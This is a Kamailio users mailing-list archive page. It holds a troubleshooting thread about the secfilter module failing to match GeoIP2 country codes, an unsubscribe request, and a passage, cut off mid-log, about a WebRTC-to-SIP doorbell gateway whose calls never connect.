- sr-users - kamailio.org

secfilter secf_check_country($gip2(src=>cc)) always replies null
by Samuel Moya Tinoco 08 Aug '25

08 Aug '25

Good morning everyone, Im trying to configure secfilter module to harden our kamailio. After configuring geoip2 module and checking that using function geoip2_match("$si", "src") it shows the country properly. I've configured secfilter module, and I think it's also working because kamailio service starts and with kamcmd secfilter.print I can see the entries from the DDBB. But when I call the function secf_check_country($gip2(src=>cc)) it always replies with <null> (I saw it in this variable $avp(secfilter)). I've also tried to use $? Variable and it shows "1", in the module documentation I saw that 1 means "the value is not found". But when I use kamcmd secfilter.print I can see the country in the output and it's spelled exactly the same that in $gip2(src=>cc) I don't know if there's something I'm missing. Any help would be appreciated. Thanks in advance This is the code I'm executing if (geoip2_match("$si", "src")) { secf_check_country($gip2(src=>cc)); xlog("L_ALERT", "La respuesta de de secfilter es $avp(secfilter)"); xlog("L_ALERT", "$?"); if ($avp(secfilter) == 2) { return; } xlog("L_ALERT", "$rm from $si blocked because Country '$gip2(src=>cc)' is blacklisted"); exit; } And this is what appears in the logs 2025-08-07T09:42:54.876178+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} *** cfgtrace:dbg_cfg_trace(): request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1061 a=16 n=if 2025-08-07T09:42:54.876219+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} *** cfgtrace:dbg_cfg_trace(): request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1049 a=26 n=geoip2_match 2025-08-07T09:42:54.876252+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} *** cfgtrace:dbg_cfg_trace(): request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1051 a=32 n=secf_check_country 2025-08-07T09:42:54.876291+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} *** cfgtrace:dbg_cfg_trace(): request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1052 a=26 n=xlog 2025-08-07T09:42:54.876473+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: ALERT: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} <script>: La respuesta de de secfilter es <null> 2025-08-07T09:42:54.876513+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} *** cfgtrace:dbg_cfg_trace(): request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1053 a=26 n=xlog 2025-08-07T09:42:54.876556+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: ALERT: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} <script>: 1 2025-08-07T09:42:54.876587+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} *** cfgtrace:dbg_cfg_trace(): request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1058 a=16 n=if 2025-08-07T09:42:54.876619+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} *** cfgtrace:dbg_cfg_trace(): request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1058 a=26 n=xlog 2025-08-07T09:42:54.876651+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: ALERT: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} <script>: OPTIONS from 91.228.91.69 blocked because Country 'ES' is blacklisted 2025-08-07T09:42:54.876682+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1} *** cfgtrace:dbg_cfg_trace(): request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1059 a=2 n=exit The output of kamcmd secfilter.print country root@PRE-KAMAILIO:/etc/kamailio# kamcmd secfilter.print country Country ======= [+] Blacklisted ----------- [+] Whitelisted ----------- 0001 -> ES Samuel Moya Tinoco Departamento de Sistemas y Redes Móvil: (+34) 606985997 smoya(a)vivelibre.es<mailto:smoya@vivelibre.es> ViveLibre C/ La Orotava 4 28660 Boadilla del Monte Madrid www.vivelibre.es<http://www.vivelibre.es/> [cid:image001.png@01DC0780.5D6264D0] Soluciones inteligentes para la autonomía personal "Tanto este mensaje como todos los posibles documentos adjuntos al mismo son confidenciales y están dirigidos exclusivamente a los destinatarios de los mismos. Por favor, si Usted no es uno de dichos destinatarios, notifíquenos este hecho y elimine el mensaje de su sistema. Queda prohibida la copia, difusión o revelación de su contenido a terceros sin el previo consentimiento por escrito de VIVELIBRE AUTONOMÍA PERSONAL S.L.U. (VIVELIBRE). En caso contrario, vulnerará la legislación vigente. De conformidad con lo establecido en el Reglamento (UE) 2016/679, General de Protección de Datos, le informamos de que sus datos son objeto de tratamiento por VIVELIBRE, en calidad de Responsable del Tratamiento. VIVELIBRE tratará sus datos con la finalidad de mantener la relación contractual, gestionar su solicitud, así como remitirle comunicaciones de carácter comercial relacionadas con su ámbito de actividad y los servicios prestados. Si desea ejercitar sus derechos de acceso, rectificación, supresión, limitación, oposición o portabilidad, puede dirigirse a la dirección postal Calle de la Orotava 4, 28660, Boadilla del Monte, (Madrid) o a la dirección de correo electrónico protecciondedatos(a)vivelibre.es. Para obtener más información sobre cómo tratamos sus datos, consulta nuestra Política de Privacidad en Política de Privacidad - Vivelibre."

3 9

Unsubscribe request form mailing list
by Pooja Yadav 08 Aug '25

08 Aug '25

Hi, As i am not working on kamailio currently. I need to unsubscribe from the mailing list. Please unsubscribe me from this list. Thanks, Pooja On Fri, 8 Aug 2025 at 15:15, <sr-users-request(a)lists.kamailio.org> wrote: > Send sr-users mailing list submissions to > sr-users(a)lists.kamailio.org > > To subscribe or unsubscribe via email, send a message with subject or > body 'help' to > sr-users-request(a)lists.kamailio.org > > You can reach the person managing the list at > sr-users-owner(a)lists.kamailio.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of sr-users digest..." > > Today's Topics: > > 1. Re: secfilter secf_check_country($gip2(src=>cc)) always replies null > (Samuel Moya Tinoco) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Fri, 8 Aug 2025 09:39:10 +0000 > From: Samuel Moya Tinoco <smoya(a)vivelibre.es> > Subject: [SR-Users] Re: secfilter secf_check_country($gip2(src=>cc)) > always replies null > To: Henning Westerholt <hw(a)gilawa.com>, "Kamailio (SER) - Users > Mailing List" <sr-users(a)lists.kamailio.org> > Message-ID: <GV1PR10MB5866E562B5E6C656E9F00B55D72FA(a)GV1PR10MB5866.EURP > RD10.PROD.OUTLOOK.COM> > Content-Type: multipart/related; boundary="_004_GV1PR10MB5866E5 > 62B5E6C656E9F00B55D72FAGV1PR10MB5866EURP_"; > type="multipart/alternative" > > Hello again Henning, > > Thank you for your reply. > I've try to use secf_check_country("$gip2(src=>cc)" but it's still the > same. We'll update to a newer version and try again > > Thank you again for your help > > Samuel Moya Tinoco > Departamento de Sistemas y Redes > Móvil: (+34) 606985997 > smoya(a)vivelibre.es<mailto:smoya@vivelibre.es> > > ViveLibre > C/ La Orotava 4 > 28660 Boadilla del Monte > Madrid > www.vivelibre.es<http://www.vivelibre.es/> > > [cid:image001.png@01DC0859.0D93E4E0] > > Soluciones inteligentes > para la autonomía personal > > > > De: Henning Westerholt <hw(a)gilawa.com> > Enviado el: viernes, 8 de agosto de 2025 9:30 > Para: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org> > CC: Samuel Moya Tinoco <smoya(a)vivelibre.es> > Asunto: RE: secfilter secf_check_country($gip2(src=>cc)) always replies > null > > Hello, > > the documentation seems to have indeed some issues, the $avp(secfilter) > seems to be not available. It should be probably fixed in the docs. > > Regarding your issue, I can only say that we had a similar issue with > Kamailio 5.6.x on our customers, which apparently was solved with an update > to a newer version. One minor thing, the docs that the command need a > string value, so try secf_check_country("$gip2(src=>cc)"). > > Cheers, > > Henning > > From: Samuel Moya Tinoco <smoya(a)vivelibre.es<mailto:smoya@vivelibre.es>> > Sent: Freitag, 8. August 2025 08:57 > To: Henning Westerholt <hw(a)gilawa.com<mailto:hw@gilawa.com>>; Kamailio > (SER) - Users Mailing List <sr-users(a)lists.kamailio.org<mailto: > sr-users(a)lists.kamailio.org>> > Subject: RE: secfilter secf_check_country($gip2(src=>cc)) always replies > null > > Hello henning, > > Thank you for your reply. > I'm using kamailio 5.6.3, when I call $gip2(src=>cc) it shows the origin > country from the IP. I've test it with several countries and it works well. > The problem is when I call secf_check_country($gip2(src=>cc)) that it > replies with null. > > I've tried to insert into kamailio DDBB secfilter table exactly the output > of $gip2(src=>cc), and I can see that it appear when using "kamcmd > secfilter.print country" but it seems that the function cannot match it. > Also I've tried to insert into the secfilter table all the spelling > combinations of the country (both letter uppercase, both lowercase, one > uppercase one lowercase, between quotes, etc), and the command "kamcmd > secfilter.print country" shows all of them whitelisted but the function > still replies with a null > > I'm not sure if there's anything I'm doing wrong or what should I try next. > Thank you again for your help > > Samuel Moya Tinoco > Departamento de Sistemas y Redes > Móvil: (+34) 606985997 > smoya(a)vivelibre.es<mailto:smoya@vivelibre.es> > > ViveLibre > C/ La Orotava 4 > 28660 Boadilla del Monte > Madrid > www.vivelibre.es< > https://linkprotect.cudasvc.com/url?a=http%3a%2f%2fwww.vivelibre.es%2f&c=E,… > > > > [cid:image001.png@01DC0859.0D93E4E0] > > Soluciones inteligentes > para la autonomía personal > > > > De: Henning Westerholt <hw(a)gilawa.com<mailto:hw@gilawa.com>> > Enviado el: jueves, 7 de agosto de 2025 13:22 > Para: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org > <mailto:sr-users@lists.kamailio.org>> > CC: Samuel Moya Tinoco <smoya(a)vivelibre.es<mailto:smoya@vivelibre.es>> > Asunto: RE: secfilter secf_check_country($gip2(src=>cc)) always replies > null > > Hello, > > some years ago, we had a similar issue with geoip with one of our > customers. It was not working anymore after a reload. But your problem > looks a bit more like it's in secfilter module. > > Which version of Kamailio you are using? Does it work when you call $gip2 > PV manually? > > Cheers, > > Henning > > From: Samuel Moya Tinoco via sr-users <sr-users(a)lists.kamailio.org<mailto: > sr-users(a)lists.kamailio.org>> > Sent: Donnerstag, 7. August 2025 10:08 > To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org > <mailto:sr-users@lists.kamailio.org>> > Cc: Samuel Moya Tinoco <smoya(a)vivelibre.es<mailto:smoya@vivelibre.es>> > Subject: [SR-Users] secfilter secf_check_country($gip2(src=>cc)) always > replies null > > Good morning everyone, > > Im trying to configure secfilter module to harden our kamailio. > After configuring geoip2 module and checking that using function > geoip2_match("$si", "src") it shows the country properly. I've configured > secfilter module, and I think it's also working because kamailio service > starts and with kamcmd secfilter.print I can see the entries from the DDBB. > But when I call the function secf_check_country($gip2(src=>cc)) it always > replies with <null> (I saw it in this variable $avp(secfilter)). I've also > tried to use $? Variable and it shows "1", in the module documentation I > saw that 1 means "the value is not found". But when I use kamcmd > secfilter.print I can see the country in the output and it's spelled > exactly the same that in $gip2(src=>cc) > > I don't know if there's something I'm missing. Any help would be > appreciated. > Thanks in advance > > This is the code I'm executing > if (geoip2_match("$si", "src")) { > secf_check_country($gip2(src=>cc)); > xlog("L_ALERT", "La respuesta de de secfilter es > $avp(secfilter)"); > xlog("L_ALERT", "$?"); > if ($avp(secfilter) == 2) { > return; > } > xlog("L_ALERT", "$rm from $si blocked because Country > '$gip2(src=>cc)' is blacklisted"); > exit; > } > And this is what appears in the logs > 2025-08-07T09:42:54.876178+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} *** cfgtrace:dbg_cfg_trace(): > request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1061 a=16 n=if > 2025-08-07T09:42:54.876219+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} *** cfgtrace:dbg_cfg_trace(): > request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1049 a=26 > n=geoip2_match > 2025-08-07T09:42:54.876252+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} *** cfgtrace:dbg_cfg_trace(): > request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1051 a=32 > n=secf_check_country > 2025-08-07T09:42:54.876291+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} *** cfgtrace:dbg_cfg_trace(): > request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1052 a=26 n=xlog > 2025-08-07T09:42:54.876473+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > ALERT: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} <script>: La respuesta de de > secfilter es <null> > 2025-08-07T09:42:54.876513+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} *** cfgtrace:dbg_cfg_trace(): > request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1053 a=26 n=xlog > 2025-08-07T09:42:54.876556+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > ALERT: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} <script>: 1 > 2025-08-07T09:42:54.876587+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} *** cfgtrace:dbg_cfg_trace(): > request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1058 a=16 n=if > 2025-08-07T09:42:54.876619+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} *** cfgtrace:dbg_cfg_trace(): > request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1058 a=26 n=xlog > 2025-08-07T09:42:54.876651+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > ALERT: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} <script>: OPTIONS from 91.228.91.69 > blocked because Country 'ES' is blacklisted > 2025-08-07T09:42:54.876682+02:00 PRE-KAMAILIO /usr/sbin/kamailio[1393]: > exec: {1 1 OPTIONS fabe0744-1fca28e3-83050f4(a)127.0.0.1<mailto: > fabe0744-1fca28e3-83050f4(a)127.0.0.1>} *** cfgtrace:dbg_cfg_trace(): > request_route=[GEOIP] c=[/etc/kamailio/kamailio.cfg] l=1059 a=2 n=exit > > The output of kamcmd secfilter.print country > root@PRE-KAMAILIO:/etc/kamailio# kamcmd secfilter.print country > > Country > ======= > [+] Blacklisted > ----------- > > [+] Whitelisted > ----------- > 0001 -> ES > > > Samuel Moya Tinoco > Departamento de Sistemas y Redes > Móvil: (+34) 606985997 > smoya(a)vivelibre.es<mailto:smoya@vivelibre.es> > > ViveLibre > C/ La Orotava 4 > 28660 Boadilla del Monte > Madrid > www.vivelibre.es< > https://linkprotect.cudasvc.com/url?a=http%3a%2f%2fwww.vivelibre.es%2f&c=E,… > > > > [cid:image001.png@01DC0859.0D93E4E0] > > Soluciones inteligentes > para la autonomía personal > > > > "Tanto este mensaje como todos los posibles documentos adjuntos al mismo > son confidenciales y están dirigidos exclusivamente a los destinatarios de > los mismos. Por favor, si Usted no es uno de dichos destinatarios, > notifíquenos este hecho y elimine el mensaje de su sistema. Queda prohibida > la copia, difusión o revelación de su contenido a terceros sin el previo > consentimiento por escrito de VIVELIBRE AUTONOMÍA PERSONAL S.L.U. > (VIVELIBRE). En caso contrario, vulnerará la legislación vigente. De > conformidad con lo establecido en el Reglamento (UE) 2016/679, General de > Protección de Datos, le informamos de que sus datos son objeto de > tratamiento por VIVELIBRE, en calidad de Responsable del Tratamiento. > VIVELIBRE tratará sus datos con la finalidad de mantener la relación > contractual, gestionar su solicitud, así como remitirle comunicaciones de > carácter comercial relacionadas con su ámbito de actividad y los servicios > prestados. Si desea ejercitar sus derechos de acceso, rectificación, > supresión, limitación, oposición o portabilidad, puede dirigirse a la > dirección postal Calle de la Orotava 4, 28660, Boadilla del Monte, (Madrid) > o a la dirección de correo electrónico protecciondedatos(a)vivelibre.es > <mailto:protecciondedatos@vivelibre.es>. Para obtener más información > sobre cómo tratamos sus datos, consulta nuestra Política de Privacidad en > Política de Privacidad - Vivelibre." > "Tanto este mensaje como todos los posibles documentos adjuntos al mismo > son confidenciales y están dirigidos exclusivamente a los destinatarios de > los mismos. Por favor, si Usted no es uno de dichos destinatarios, > notifíquenos este hecho y elimine el mensaje de su sistema. Queda prohibida > la copia, difusión o revelación de su contenido a terceros sin el previo > consentimiento por escrito de VIVELIBRE AUTONOMÍA PERSONAL S.L.U. > (VIVELIBRE). En caso contrario, vulnerará la legislación vigente. De > conformidad con lo establecido en el Reglamento (UE) 2016/679, General de > Protección de Datos, le informamos de que sus datos son objeto de > tratamiento por VIVELIBRE, en calidad de Responsable del Tratamiento. > VIVELIBRE tratará sus datos con la finalidad de mantener la relación > contractual, gestionar su solicitud, así como remitirle comunicaciones de > carácter comercial relacionadas con su ámbito de actividad y los servicios > prestados. Si desea ejercitar sus derechos de acceso, rectificación, > supresión, limitación, oposición o portabilidad, puede dirigirse a la > dirección postal Calle de la Orotava 4, 28660, Boadilla del Monte, (Madrid) > o a la dirección de correo electrónico protecciondedatos(a)vivelibre.es > <mailto:protecciondedatos@vivelibre.es>. Para obtener más información > sobre cómo tratamos sus datos, consulta nuestra Política de Privacidad en > Política de Privacidad - Vivelibre." > "Tanto este mensaje como todos los posibles documentos adjuntos al mismo > son confidenciales y están dirigidos exclusivamente a los destinatarios de > los mismos. Por favor, si Usted no es uno de dichos destinatarios, > notifíquenos este hecho y elimine el mensaje de su sistema. Queda prohibida > la copia, difusión o revelación de su contenido a terceros sin el previo > consentimiento por escrito de VIVELIBRE AUTONOMÍA PERSONAL S.L.U. > (VIVELIBRE). En caso contrario, vulnerará la legislación vigente. De > conformidad con lo establecido en el Reglamento (UE) 2016/679, General de > Protección de Datos, le informamos de que sus datos son objeto de > tratamiento por VIVELIBRE, en calidad de Responsable del Tratamiento. > VIVELIBRE tratará sus datos con la finalidad de mantener la relación > contractual, gestionar su solicitud, así como remitirle comunicaciones de > carácter comercial relacionadas con su ámbito de actividad y los servicios > prestados. Si desea ejercitar sus derechos de acceso, rectificación, > supresión, limitación, oposición o portabilidad, puede dirigirse a la > dirección postal Calle de la Orotava 4, 28660, Boadilla del Monte, (Madrid) > o a la dirección de correo electrónico protecciondedatos(a)vivelibre.es. > Para obtener más información sobre cómo tratamos sus datos, consulta > nuestra Política de Privacidad en Política de Privacidad - Vivelibre." >

1 0

problems using kamailio
by Peter Walber 08 Aug '25

08 Aug '25

Hello, I try to use kamailio as webrtc-sip-gateway between my openhab smart home system and my doorbird doorbell with phone and camera. I try to use the product of "https://github.com/florian-h05/webrtc-sip-gw". Which integrates kamailio together with rtpengine to the gateway. I want to use openhab as SIP Client and have a Telekom Speedport Smart 4 Router on the other side. The webrtc-sip-gw from florian-h05 shall be the software between Openhab and the speedport smart 4. On the speedport smart router the SIP Server is enabled and configured. I can sucessfully call with zoiper extern phone numbers. The doorbird als is configured correctly. I can call the doorbird with my zioper softphone using the SIP interface of the doorbird. The runtime system is a docker container on debian 12. I want to call the doorbird by SIP from my openhab SIP client. I can initiate the call, but it doesn't establish Here is the log from the docker container. --------------------------------------------------------------------------------------------------- 2025-08-07T07:46:57.384687165Z 9(52) INFO: <script>: HTTP Request Received 2025-08-07T07:46:57.391479050Z 9(52) INFO: <script>: START: REGISTER from sip:**73@speedport.ip (IP:192.168.2.185:39510) 2025-08-07T07:46:57.391516534Z 9(52) INFO: <script>: Current Contact header: <sip:v0fds0hl@fe8ojuo7pnkl.invalid;transport=ws>;+sip.ice;reg-id=1;+sip.instance="<urn:uuid:243e461d-f0cb-4c09-9a63-f57c9bba8d6b>";expires=600 2025-08-07T07:46:57.391526535Z 9(52) INFO: <script>: Setting new Contact header: <sip:**73@192.168.2.209:5060> 2025-08-07T07:47:00.195739350Z 9(52) INFO: <script>: START: INVITE from sip:**73@speedport.ip (IP:192.168.2.185:39510) 2025-08-07T07:47:00.195800424Z 9(52) INFO: <script>: Current Contact header: <sip:v0fds0hl@fe8ojuo7pnkl.invalid;transport=ws;ob> 2025-08-07T07:47:00.195811886Z 9(52) INFO: <script>: Setting new Contact header: <sip:v0fds0hl@fe8ojuo7pnkl.invalid;transport=ws;ob;alias=192.168.2.185~39510~6;alias=192.168.2.185~39510~6> 2025-08-07T07:47:00.196163528Z 9(52) INFO: <script>: MANAGE_BRANCH: New branch [0] to sip:**72@speedport.ip 2025-08-07T07:47:00.196181228Z 9(52) INFO: <script>: NATMANAGE branch_id:0 ruri: sip:**72@speedport.ip, method:INVITE, status:<null>, extra_id: z9hG4bK44082210, rtpengine_manage: replace-origin replace-session-connection via-branch=extra rtcp-mux-demux SDES-off ICE=remove RTP/AVP 2025-08-07T07:47:00.196608235Z INFO: [penvq8f06ehafutk9ivf]: [control] Received command 'offer' from 127.0.0.1:50790 2025-08-07T07:47:00.196625247Z NOTICE: [penvq8f06ehafutk9ivf]: [core] Creating new call 2025-08-07T07:47:00.198519843Z INFO: [penvq8f06ehafutk9ivf]: [control] Replying to 'offer' from 127.0.0.1:50790 (elapsed time 0.001979 sec) 2025-08-07T07:47:01.927528447Z 9(52) INFO: <script>: START: CANCEL from sip:**73@speedport.ip (IP:192.168.2.185:39510) 2025-08-07T07:47:01.927577111Z 9(52) INFO: <script>: Current Contact header: <null> 2025-08-07T07:47:01.927586439Z 9(52) INFO: <script>: Setting new Contact header: <null> 2025-08-07T07:47:09.169489716Z 7(50) INFO: <script>: WebSocket connection from 192.168.2.185:39510 has closed *2025-08-07T07:47:27.355185671Z 2(45) WARNING: tm [../../core/forward.h:203]: msg_send_buffer(): TCP/TLS connection for WebSocket could not be found* 2025-08-07T07:47:27.914769340Z 9(52) INFO: <script>: HTTP Request Received 2025-08-07T07:47:27.951608347Z 9(52) INFO: <script>: START: REGISTER from sip:**73@speedport.ip (IP:192.168.2.185:44816) 2025-08-07T07:47:27.951663073Z 9(52) INFO: <script>: Current Contact header: <sip:lebth4eq@fe8ojuo7pnkl.invalid;transport=ws>;+sip.ice;reg-id=1;+sip.instance="<urn:uuid:39eac0ca-0aea-4526-a5c7-0516bc8a2d71>";expires=600 2025-08-07T07:47:27.951915520Z 9(52) INFO: <script>: Setting new Contact header: <sip:**73@192.168.2.209:5060> 2025-08-07T07:47:30.168546446Z 2(45) INFO: <script>: BRANCH FAILED: z9hG4bK4408221 + 0INFO: [penvq8f06ehafutk9ivf]: [control] Received command 'delete' from 127.0.0.1:36296 2025-08-07T07:47:30.168587880Z INFO: [penvq8f06ehafutk9ivf]: [core] Deleting call branch '' (via-branch 'z9hG4bK44082210') 2025-08-07T07:47:30.168597011Z INFO: [penvq8f06ehafutk9ivf]: [core] Call branch '' (via-branch 'z9hG4bK44082210') deleted, no more branches remaining 2025-08-07T07:47:30.168605215Z INFO: [penvq8f06ehafutk9ivf]: [core] Deleting entire call 2025-08-07T07:47:30.168612883Z INFO: [penvq8f06ehafutk9ivf]: [core] Final packet stats: 2025-08-07T07:47:30.168620604Z INFO: [penvq8f06ehafutk9ivf]: [core] --- Tag 'utenlull77', created 0:30 ago for branch '' 2025-08-07T07:47:30.168628359Z INFO: [penvq8f06ehafutk9ivf]: [core] --- subscribed to '' 2025-08-07T07:47:30.168636445Z INFO: [penvq8f06ehafutk9ivf]: [core] --- subscription for '' 2025-08-07T07:47:30.168645446Z INFO: [penvq8f06ehafutk9ivf]: [core] ------ Media #1 (audio over UDP/TLS/RTP/SAVPF) using unknown codec 2025-08-07T07:47:30.168653691Z INFO: [penvq8f06ehafutk9ivf]: [core] --------- Port 192.168.2.209:23484 <> 192.168.2.185:60650, SSRC 0, 0 p, 0 b, 0 e, 30 ts 2025-08-07T07:47:30.168661939Z INFO: [penvq8f06ehafutk9ivf]: [core] --- Tag '', created 0:30 ago for branch 'z9hG4bK44082210' 2025-08-07T07:47:30.168669844Z INFO: [penvq8f06ehafutk9ivf]: [core] --- subscribed to 'utenlull77' 2025-08-07T07:47:30.168677713Z INFO: [penvq8f06ehafutk9ivf]: [core] --- subscription for 'utenlull77' 2025-08-07T07:47:30.168685661Z INFO: [penvq8f06ehafutk9ivf]: [core] ------ Media #1 (audio over RTP/AVP) using unknown codec 2025-08-07T07:47:30.168693705Z INFO: [penvq8f06ehafutk9ivf]: [core] --------- Port 192.168.2.209:23472 <> :0 , SSRC 0, 0 p, 0 b, 0 e, 30 ts 2025-08-07T07:47:30.168718608Z INFO: [penvq8f06ehafutk9ivf]: [core] --------- Port 192.168.2.209:23473 <> :0 (RTCP), SSRC 0, 0 p, 0 b, 0 e, 30 ts 2025-08-07T07:47:30.168728065Z INFO: [penvq8f06ehafutk9ivf]: [control] Replying to 'delete' from 127.0.0.1:36296 (elapsed time 0.000505 sec) *2025-08-07T07:47:30.169042099Z 2(45) INFO: <script>: Failure: <null> 2(45) WARNING: tm [../../core/forward.h:203]: msg_send_buffer(): TCP/TLS connection for WebSocket could not be found* 2025-08-07T07:47:30.265075785Z 9(52) INFO: <script>: START: INVITE from sip:**73@speedport.ip (IP:192.168.2.185:44816) 2025-08-07T07:47:30.265125134Z 9(52) INFO: <script>: Current Contact header: <sip:lebth4eq@fe8ojuo7pnkl.invalid;transport=ws;ob> 2025-08-07T07:47:30.265135557Z 9(52) INFO: <script>: Setting new Contact header: <sip:lebth4eq@fe8ojuo7pnkl.invalid;transport=ws;ob;alias=192.168.2.185~44816~6;alias=192.168.2.185~44816~6> 2025-08-07T07:47:30.265484502Z 9(52) INFO: <script>: MANAGE_BRANCH: New branch [0] to sip:**72@speedport.ip 2025-08-07T07:47:30.265664116Z 9(52) INFO: <script>: NATMANAGE branch_id:0 ruri: sip:**72@speedport.ip, method:INVITE, status:<null>, extra_id: z9hG4bK16860370, rtpengine_manage: replace-origin replace-session-connection via-branch=extra rtcp-mux-demux SDES-off ICE=remove RTP/AVP 2025-08-07T07:47:30.265819591Z INFO: [412n0o8dedgair81t70p]: [control] Received command 'offer' from 127.0.0.1:50790 2025-08-07T07:47:30.265979425Z NOTICE: [412n0o8dedgair81t70p]: [core] Creating new call 2025-08-07T07:47:30.267497852Z INFO: [412n0o8dedgair81t70p]: [control] Replying to 'offer' from 127.0.0.1:50790 (elapsed time 0.001599 sec) 2025-08-07T07:47:30.469565385Z 9(52) INFO: <script>: START: CANCEL from sip:**73@speedport.ip (IP:192.168.2.185:44816) 2025-08-07T07:47:30.469629711Z 9(52) INFO: <script>: Current Contact header: <null> 2025-08-07T07:47:30.469645116Z 9(52) INFO: <script>: Setting new Contact header: <null> 2025-08-07T07:47:41.207672567Z 7(50) INFO: <script>: WebSocket connection from 192.168.2.185:44816 has closed 2025-08-07T07:47:57.917754216Z 2(45) WARNING: tm [../../core/forward.h:203]: msg_send_buffer(): TCP/TLS connection for WebSocket could not be found 2025-08-07T07:48:00.230412646Z 2(45) INFO: <script>: BRANCH FAILED: z9hG4bK1686037 + 0INFO: [412n0o8dedgair81t70p]: [control] Received command 'delete' from 127.0.0.1:36296 2025-08-07T07:48:00.230457143Z INFO: [412n0o8dedgair81t70p]: [core] Deleting call branch '' (via-branch 'z9hG4bK16860370') 2025-08-07T07:48:00.230466718Z INFO: [412n0o8dedgair81t70p]: [core] Call branch '' (via-branch 'z9hG4bK16860370') deleted, no more branches remaining 2025-08-07T07:48:00.230475640Z INFO: [412n0o8dedgair81t70p]: [core] Deleting entire call 2025-08-07T07:48:00.230483968Z INFO: [412n0o8dedgair81t70p]: [core] Final packet stats: 2025-08-07T07:48:00.230491909Z INFO: [412n0o8dedgair81t70p]: [core] --- Tag 'hc7h5imu96', created 0:30 ago for branch '' 2025-08-07T07:48:00.230518917Z INFO: [412n0o8dedgair81t70p]: [core] --- subscribed to '' 2025-08-07T07:48:00.230528302Z INFO: [412n0o8dedgair81t70p]: [core] --- subscription for '' 2025-08-07T07:48:00.230537387Z INFO: [412n0o8dedgair81t70p]: [core] ------ Media #1 (audio over UDP/TLS/RTP/SAVPF) using unknown codec 2025-08-07T07:48:00.230545867Z INFO: [412n0o8dedgair81t70p]: [core] --------- Port 192.168.2.209:23400 <> 